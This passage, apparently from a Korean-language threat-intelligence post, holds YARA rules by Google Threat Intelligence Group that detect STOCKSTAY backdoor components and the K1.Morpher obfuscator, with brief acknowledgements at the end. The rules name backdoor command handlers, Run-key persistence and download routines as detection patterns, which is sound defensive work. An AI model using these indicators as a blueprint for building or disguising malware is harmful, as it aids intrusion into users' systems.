        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize > 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}
rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}
rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}
rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}
rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}
rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
        $f6 = "ProtocolMessageTask"
        $f7 = "ProtocolMessageTaskSysinfo"
        $f8 = "TMR_AppInit_Tick"
        $f9 = "TMR_Engine_Tick"
        $f10 = "TMR_KeepAlive_Tick"
        $f11 = "TMR_PingNet_Tick"
        $f12 = "TMR_PingSystem_Tick"
        $f13 = "GetDataTrade"
        $f14 = "GetDataNews"
        $f15 = "InsertDataTrade"
        $f16 = "InsertDataNews"
        $sql1 = "CREATE TABLE IF NOT EXISTS News (" wide
        $sql2 = "CREATE TABLE IF NOT EXISTS Trade (" wide
        $sql3 = "CREATE TABLE IF NOT EXISTS Market (" wide
        $sql4 = "INSERT INTO Market ( Guid, Version, Config, Status, Launch, Type ) VALUES (@Guid, @Version, @Config, @Status, @Launch, @Type)" wide
        $sql5 = "INSERT INTO News (Container) VALUES (@Container)" wide
        $sql6 = "INSERT INTO Trade (Container) VALUES (@Container)" wide

    condition:
        8 of ($f*)
        and any of ($sql*)
}
rule G_Tunneler_STOCKSTAY_STOCKBROKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKBROKER tunneler based on known IPC message handler and variable names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"

    strings:
        $s1 = "_CorExeMain"
        $s2 = "ProtocolMessageStatusConnection"
        $s3 = "ProtocolMessageResult"
        $s4 = "ProtocolMessageEnd"
        $s5 = "OnGetDataFromServer"
        $s6 = "webSocket"
        $s7 = "wmCopyData"
        $s8 = "tempStorage"

    condition:
        all of them
}
rule G_Backdoor_STOCKSTAY_STOCKTRADER_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKTRADER backdoor based on known command handlers and FNV1a hashes."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $cmd_1 = "AppDel"
        $cmd_3 = "AppDeleteRegistryValue"
        $cmd_4 = "AppDir"
        $cmd_5 = "AppGet"
        $cmd_6 = "AppMkdir"
        $cmd_7 = "AppPut"
        $cmd_8 = "AppReadRegistryValue"
        $cmd_9 = "AppRegistryKeyExists"
        $cmd_10 = "AppRmdir"
        $cmd_11 = "AppRun"
        $cmd_12 = "AppWriteRegistryValue"
        $cmd_13 = "AppUnpackArchive"
        $cmd_14 = "ArchiveFiles"
        $cmd_15 = "GetFiles"
        $cmd_16 = "Sysinfo"
        
        $hash_1  = {ea8e5e34}
        $hash_2  = {3445694e}
        $hash_3  = {f73e97b6}
        $hash_4  = {9aa70c59}
        $hash_5  = {18b496c9}
        $hash_6  = {0f716ebc}
        $hash_7  = {8e2d79ce}
        $hash_8  = {3ae2a963}
        $hash_9  = {35d26840}
        $hash_10 = {6c41d6bc}
        $hash_11 = {1fdbbb2f}
        $hash_12 = {6ae6578d}
        $hash_13 = {66732be7}
        $hash_14 = {0b113b3d}

    condition:
        uint16(0) == 0x5a4d
        and (
            12 of ($cmd*)
            or 10 of ($hash*)
        )
}
rule G_Hunting_K1MORPHER_1 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext class and method names associated with the .NET class K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $plain_api_1 = "Squirrel3"
    $plain_api_2 = "DecryptArraySimple"
    $plain_api_3 = "DecryptIntSimple"
    $plain_api_4 = "DecryptLongSimple"
    $plain_api_5 = "DecryptFloatSimple"
    $plain_api_6 = "DecryptStringSimple"
    $plain_api_7 = "DecryptDoubleSimple"
    $plain_api_8 = "_squ_ui1"
    $plain_api_9 = "_squ_ui2"
    $plain_api_10 = "_squ_ui3"
    $plain_api_11 = "InjectedSeedCipher"

  condition:
    dotnet.is_dotnet
    and 5 of ($plain_api*)
}
rule G_Hunting_K1MORPHER_2 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893"

  strings:
    $squirrel3_code_1 = {
      00 // nop
      03 // ldarg.1
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      02 // ldarg.0
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      7E ??????04 // ldsfld <token>
      58 // add
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      62 // shl
      61 // xor
      0A // stloc.0
      06 // ldloc.9
      7E ??????04 // ldsfld <token>
      5A // mul
      0A // stloc.0
      06 // ldloc.0
      06 // ldloc.0
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      0A // stloc.0
      06 // ldloc.0
      0B // stloc.1
      2B 00 // br.s 40
      07 // ldloc.1
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}
rule G_Hunting_K1MORPHER_3 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects the Squirrel3 RNG implemented within K1.Morpher"
    hash = "391e51354118fb87dc57650cbbd94258c3f7c0a0d6868040b7a473ad626ff25e"

  strings:
    $squirrel3_code_1 = {
      03 // ldarg.1
      7E??????04 // ldsfld <token>
      5A // mul
      02 // ldarg.0
      58 // add
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      7E??????04 // ldsfld <token>
      58 // add
      25 // dup
      1E // ldc.i4.8
      62 // shl
      61 // xor
      7E??????04 // ldsfld <token>
      5A // mul
      25 // dup
      1E // ldc.i4.8
      64 // shr.un
      61 // xor
      2A // ret
    }

  condition:
    dotnet.is_dotnet
    and all of them
}

감사의 글

기술적 검토를 지원해 준 Gabby Roncone의 도움이 없었다면 이번 분석은 불가능했을 것입니다. 또한, 이 위협에 대응하여 협력해준 GitHub에도 감사의 뜻을 전합니다. 

게시 위치